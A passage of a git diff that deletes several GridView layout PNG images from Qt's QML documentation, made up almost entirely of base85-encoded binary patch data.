z24>V6KGT}S^>Y(Q8*`y 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 diff --git a/src/qml/doc/images/gridview-layout-toptobottom-ltr-ttb.png b/src/qml/doc/images/gridview-layout-toptobottom-ltr-ttb.png deleted file mode 100644 index 9078cbde6ff8485cab00f8b6e3b74991a8a3a953..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8655 zcmbuEQ*<3nw8x{ywr$(CZM)%#ZM#WhoHn-G*tYHD#5Nnp457uw* z|HP;&%OJty!-Ii=A<4-~s(+QoUnv3>`YTuKZ+HU(gSfPnkWiJAkRVlcb+Wc~umS_~ z29MC3w#N{|{NM(Z&yd6F+av$+P9m4ntF)0?;C@Flw?|wjX_88^9j*AHgcxY|`@MSo@v6?AYs!WR ze;3`6$zG+eyTWmS*F%Sh7TnIK8+M1?-dnjnPvlef@$PLzVGtV7Blj2OVwwt4YSEaa znima|t!uBgv|wNR{GcUwNtI}XO@0&mpsyWO zIq-QIH>_LHeoC#*$!@#d5g0tkYQ-mBo*&tBQ!@5XTkuTLkx8%e@$JYy#}_%*$zVGS z^{BZO3eR9BJmyV6vGxmrqCS#EKCV54n5@FZWaTxYjS|r_^9X8 z9Sb=bDA+vL4EX=oWEL;o&F`R55M8;KgAy9(n7E}?2Kf!Icm6E zq2^l^1KesLaJpv$uA2b%g@L?pP`ZMZ*wyM>xuhN7gq~5p#K&}*^Xci6eCkn*xhZWY zW9I4;s_PQ!>dREiRtngEv$V`lJXf;ji2#K8eBw_7rSeuO|7vg0>fYWsH!v^+jQG0Fgcv8T3cSIx;RUI z1oqt7W7g*?=AUxP)tpVU)~EjD)zvJw>Gv%^086MM@`eip@T)^~>_RNVAe=MAAXH1p zZFmnHZ6+9x>Ngo=odgV3hHqlx;-TuAtrf&6G%8)E9B<&t!QVpckQVTU*saDeu|Xhq z-Vpm_QKhUdRU?)fQdnG1oyMkhn-CR4TL9;3)wichqG^3f44?I8ntTfwt5a*Fon8sK zXqytl_bDS;aetBF5ku&P?^fkg-3t4@OaZVk7OlI{qEEo`xkd|Q&oMDE9^Pa1iMsY! zUpD@r?(uUWQUbmX!!3k?@yz)4>?XSYSBtbTJJ1>g6cvJXhOCBR{Gg@Tv4PkS{r@%1 z8z~R;lwds|wK8F!8lRl0SHOhe@>H;-7G*C1soTNN-676!#zt%ZnIBMJU`gJ42t4y9v&Sv*QY#-RMKT`{_jNiBkrG zhEyarV!esd%G?yG6I@Vk8+#4lB=)=ezAuVUtsgmR3f9rKbBVJIiUEKt&s7vOyQ-lt zeOyC%8jVEck7N!pfQUQdQGC1@?@998;(uY8fD^|Drflw zA!>LH)*5erBbb0b)JS$V67G_KSz$n6zwQbP(w+2X)bunzKbO{n%5~y!;on4Z7Y|`= zs)OAll`Sz~Qhe^w^dQ_f#w4_Tk?ZvWm>aJxQN$o}B9@7fUWDmVi&Kg#3htQ~xk2C) z=ZE|jgyS*v#uf{Vgwwi|uhs5E2#7b`z5;&Z+a+%-a<>|Q_V(YWse!3D zB~$@R@ZC^BGSw0?*sW`XPab|5XaOCu8+PVja*|y>ocs-EG0EBrg!*3DF{V%NydLgE zhO?4J!=eWgx{bnE=HuYUB(@k;*a2*`@?i@mDRtYs8=TsMUUz!HuA(rNapCCuirY#F zC)iy)!u4FlU&Gxq<;8o;lEz$heSG^k*y0DoTKSXA_Wwvn`jP%snfxr>C@#@KGFC!q zQ6}JgMNOuwZ})PHP$hVU5=X^5gxYQ0MpMUtAKu7NY8@F>l6j1%)@}FZ=9ceg za~a|d=Wma-7mh?&m2$qbgW`sPg=_tj{x7 zN_W+0spYy&8hph^{9j%*8WKahBo2d@cI`~xU#sHQ~>DV6No_D11PO0 zTQjtzfqKJvXQ_Ezld}^FNE*u2RWG)!>`YtTNuN!=(}(no3xk9uurvzv(pCd)^& zRdS3F;@AaV(|Xr`GV{>|dKJX>HmhXW*k(F&v)CT_gr-y#dTggEDSR8Bq-Re$dCd&c zxCn=Tr$k)GT*fHNpS>n^qHR$_05m&0oV)zzIZIhJn@c6H;8HF*;pyF@)FTVfkN1$O z(V_7VsITEN;~!_;W@~&zyyXSTU^bu<^Fpq*Lj&U}5@SMQkAh8_a%}Tfvcj|XYU(?8 zyk2zt|B}7Jmz*P+SZqo;Z3ueulGko%jScdhzueKf+ntWYx&v;Q6_{pg+;F_HtB0ow zxi6G9u?ZFC`)SNk#Z$G#WB6o6TEX=G)z}buFf^(dO|!viY*1oFzUTF&e9l{(XlMrf z1zB?G&5A`5cy9Z7zvLLOUi>7x2EJhW%CFb&TpY08`w+mPNUhi$#4EskPe&O%7m;wW zsO_>j`4s|rc4Tp}MF_R^hI|Q7F*2C4+fLiPzItQ!y~2w}iV3Kr3?Mgu<8XPag(7T5 z>@f=416^9aPx#DVPs3L*`}5Gqkpqw5Ok{A&Q6oyVog{kh;k+q8d{vU9 zyTots3S0OQON!!liDq##P|Xr`Rvg^SpIDjViU41OzUX}6c`B}2DAbXsrp7koVklG`y2smyI&o>(tVuu@wZEn@r-T>DGQ#M@2FJ3a_R|aBZ8P&c*NS*D9&EEpW%|q09~TvWcDcw94OEydp_=ezRUYXAbz+eg323*?R@sK8?g0v2+ncAMdk@{B(1muA+-psuS z9sq4^91JIpsW1)2`08d#TFXr>5R3!DGW>fAm4E9%__SvRBI%X!_uhj2WP88&uW79d z5wEl%#2M0(Uz=oE=lN}O<)1FJvb(3@XhTJR#FxsP%s$SF3v%fsQqfV(Q!O^MJT;Oi zjx^US|D9(m-yKTGV=K#Nzr3BvcgzQym&2?5v9$Lti2)r@T5jIrc{*Wo1cfQKbB%(Y zUOD;fkwSy4Qg522%bvnqkN`Vx!ai4iXyXJL7!VcmjnTa;hq(+?k5aSnm+K?t@Kft=uE8FUKuSw8xP=ozP==B;%pQ zA@A`}q(?geuYO_w^+zP0UJEqA@sCmKjV4i;@^rc+cCAr~OD)h2IgHYSg;@Cb4%Dew z-ZT`~l*oC+<|`GDXWRydfqW=YZri>d8;N`7kV48I)qowEGD&zHJJYN~NAfcd{oo$P z(%)+$p3R~Wi+XyQ;`~ibS#%akxu$7nkb`<6XD5;Xpbd&tcbs-iyfV+t;-v*%VOI7HK2R5_qZT+IHqTjTbtz}D z7mo>1ZR&RU*Ca2L=Z%vz2r72q}LVf~#AN+S}KvE4kK)f(pvpV(7HV?U$n@DfP-1IV8ESW8a zoz)oS4bMY*&BKX8;aGyy%IzVehUz2Z+{*BRw;D?wJE6qw;VG5+P_o3r^K)he02K-z*N?`ZRbp76NfQ>snj^Jg)n;M-_U#ZbkF= zMV>52R9CL0#*SxfjE{kx&(^PtHA6s9<7z_0M5N4%T!?|_k) zFzZ>zC+UAGTewV>Y##aG(9kIdUuQK2fiR>Ig{lw6<_@1uqU9u@Cc#&f7Co)gLXkW= zrxh^(uM>trOXa*998Uc%CFm6v$vs;l#59`yR(9|I0L}!DJjOenXKHSqcVz3MG(bUr zu6q_!F2rTymJ2UZdp#fn+2H-aMRAXac~BmTp^6XAvvwep!Bkk6Z2rPYqf;^NrdtE1uMsMk7@7rbh|<*Q=#(6e(RPAF`&UR z>mz0AJ30TE+D*lncTaLh!u88ubaR$hp?)x-NrzPeA1n)7VQox^4I6KyCsVaP$$&=r^T zrk{E&^b~Z%d1gh$LB8am0E$0rkn_Li`oc1PFDqnsUiPiJ*1`Kh`;cXnJXy^#79^p9 zZ!M8wLl4A|L(B+ea-KU-d>5X04s)jHSxIuTl*U#o3AQ`mLv*&d-!NP zxz6zk&2Zwee}qaVX-3ob=umGjIUQ6@9GroDA+<7M~Z&Z)~Cb3gWp<7cG zftp{poG4qmO3Yo=rqJ$Gd6Tj2j%qKDm|OT@-r5{J;U~TIeBC2wD*HYHmM;`0c@ic^ zE_n77tti=r%01mL6;PeAVLt5ZG9{>`iRO~1WN6r=Xw6h(srY8WUiW%W#1c{S2Y;ny zMY!ZOe(01?n@$@-=AR5QzCnab#XooSyOrH!hlQlyk=)fy!qrNgxf>%Pe`t-noL?J^ z@N~vp)=$sSt>gUk=n_HxjSq)1%@loIWjC|vr~BDn&xw5c35!%Is1Z&BV>k1)wJLMG z$Kq>6d3&0rPWaXsq}fT=H^N?s{_C1mhR}=j1|np;#X1egr$+29TZbn@?Wq!Mz98jz zY7%Bf;%F88X_|IQgh(abH&E0_B7TJD_aN~XSCjUEwf8?VEAz*A+H#7sGS4ofR#2WM zk-Tg2i)K?Bgi1MAMN-oZFNOdXVD*%Rn7G=|`Uq{bwB&@w^`A$e{3I$a8v=Ni3hBds zE$kU*i~EVR2gG@MDL`c}uh!3WActRZTOQ+34jB34rRzZqEB!~&ZkpK8II~KT)Eb4! z5_ZrzLX&+r6Dg!Xw?AS|Y^2$4ythLDNM;b%2J3eB8{z6dXlC2bFh9QmdMD{d`fsax zG^PV#u-A+#V}G0(AUZaFrq@Hf%$ai9c8Ft6!bCs&1>?Zmj+tO5gh4~YUuzEV(q5Q0 zWy()Lx|^yyDz7W|#KSaRyXy)xa61BDa~d^h-G+JnKcZluCo-dmx4O+L-Lxtey*A6~ zp5IeR_>poVO<}ad?X)WT5@pnEW@b$TF&nhs$K)C5z%KReV+G>HPs<$C$6ute1{Mzx zMswJ;Q5G%Ht{(Fq3HgL3JGoRT8d^nOfq8=K<#Db})2fc<}iOp0u=$pECW#{4q~Qn)bS@f_7_{)RTxE$D<7};`uX=v0Qe`(qTiuF zgcQo3WOIy7?0XG%^!B6`RYsgItQunK8=YgUP^}Go0z~}YQo9{D(hj&(7Mrl?d}1-r zkp#3@d%3{Jo<4P{@*rr7wPV!#6nK(*Mjl!FN~!%~8mMt&{77G-BZIC;oIL?Cs@WuH zM?!}L>#U)|s#U{&ib6{Etald7x!>vHMD4)+S^keeTmWh{K)JzY8d1p`hLQ-x>?eugo;OYYiYp2C;q9e=x$h7E39 zFn;WSv)7_ZF`dx#TbP8&W-2-`(3ZiIN)aaiC?b~3QSwFv|jh}V0z=9;P4@o$6~OSOYN{vyVLTX-_iL(}{Bn+o@X z>>c#02`yueg@U#Us;=l2A1^}xIr2v+&6!}LW^~aWk*@)c$nq{{uhqDWolhCE2-k*a z`OW(rDVHDl;V`F z?gI4r>phv^pXj!(c9mXWsV`l#kd}Q9;X`5kc}mR4+$$O7De~Ev*b(0YUr}yOI3lE8 zCKb}3Jej~pT*4_V(h3vF_3M`1p|rI-q6WJ)44Jvh9=02iYp?Z$IGnEVUO|Lk6a_11 zD*ZWs4`+frT+(h++B(!xzd4n`0xpdQlh>4rB=7(*|aL{JF3z`h-3CORd0EY_CrY(`F3Au~PORrIIN!$6}Z&1ryNP7Z?)L^dx-=&ylRHw93I;;DEfU7*`)4n8cSP zi`Tbb@P7|DbG^ujm{y1Na5L=Y*iC=w`@k}`1ZI$lN1$c<=b6lzOs55-w}+pXt2zc z#!5OiceIEJV}Sv~!D;hrDy(hoUPk%dfi-tbxQQ#oGCKH{oIBGX_VPm;MGw+_TbwKL zj(yCR`7%S8ddURfXY0sUP1wfc*eR9=3$%t^2V<6Wh zZ^&7^XrH-N@v9vYr?4<_4mU4_buth{_mqOsB5r#3Q%t9Z$V2Q?fiB7$~oJrVZX zwyFOzb;9KB>Fs39^Wg*AbE#-e=1!y6E-0f*Mh9i-`+<>B@t8{H-PT}9b?qMcFQ0OC zIZI54jT}X(&yZTum5_2N)dSJ*vZB_#c9_RM#7a>loO{5-b+}b$!BSoVEca_AyDm}h z`Mvl#?qT&KTp_Coo2Nc&00|-U#zXyH?lO5f@u8`StN|N;pDouY-F08E01vKRvDSZs zcbJ{bO$EALt-?!SHN@#y&U?0qoX8bk@pqj{3*Q#3kLPI2-qWAzC|-yW&#(>HEa*_c zUm4g)+6uT>Gyjn%DZg|TO;;|Vg#4gdI73&nJckGp;VC*p)_L7%^qmj!F}I*VpRwK- zRAjn~wEMZ`NZj8dc6WW0yj}mE3Eu3fC0$c-OAwp`INxs>Fdo{s3wj9JbqxXAM)pc^ z(N}Oo5)>aM@AE@b#x@TBR`0AC`cr8Vbk&aWQ53N{SK0S7y{R{eDe(GcO__v$MISfB zeVxQ;r!5`66CwOZsOkm>qYdb?B%Hh=m98-j^Q6HMbOaDRjCpC%Fk9YOMqKdG zLZd|aYLGK?0tB|h-96K}Uj0=WSG|v%#S_M8J80~17dc#EWuK6*AHFzQ6`*L_`2_m* z4Zg5od;GE+Fl?ps#AYv^;g&>h3v(Q&?{(FurJkslgze}mf?a4F#x2p!C4!08Lz0Z2 zZ;n76aXEUYK@oyT)1WPh7RLd={TV94en7O6z0=SX!m3t({}m@c_%es;`}VW@o9Kkd z8q$3CW;9LvGdKT0qz`Eyhbw>NP(;784^=XYKzjuP+0*l1-ekOp72{gcg-!~6ugw@V z$Wk(0H&mGqf1(T~Bm}ykO3;@pEjn#F*Z_Jy)Iy_dBDAbZD8pYxd zOW~PE=lGcx2<^)T{b6i1DjsaG!|474HbSo(0gsb=?3V>x>R`AUe9AR&Ni=t=lrE&_cJ;(gYAYUuV$R0q32p-_HzNyKwz3zrmYJq=g3{A5Ne_E7f)1!P2kIjph^f*ip}Wv~Kdcui-B)qM;Ey9Q zCBfU`80tXJHa3s+ky^P3F<$6 zVSbU569Q+dZ)|?$I=uTqW*cUCQ;BM>W&kA zFS=#z?)UxQ1Ln0XGH&||WY~h~A*{E2sYXQn={@`-iU(GhUr|d*h!v@#TBTkj62TCu ztRWQ5j5CD1fS{Zj^qO>nf(w0N?IK14)iHG+GrRk`^$zl>yBI1R@kov nF{A$!#I2DFCivfG&p|(IRfaY7_Nc%9slnu=lqGA#O+)_&0KK1} diff --git a/src/qml/doc/images/gridview-layout-toptobottom-rtl-btt.png b/src/qml/doc/images/gridview-layout-toptobottom-rtl-btt.png deleted file mode 100644 index 0d0f095598174c135ca3f5ba24f75d2bc09ef178..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8746 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 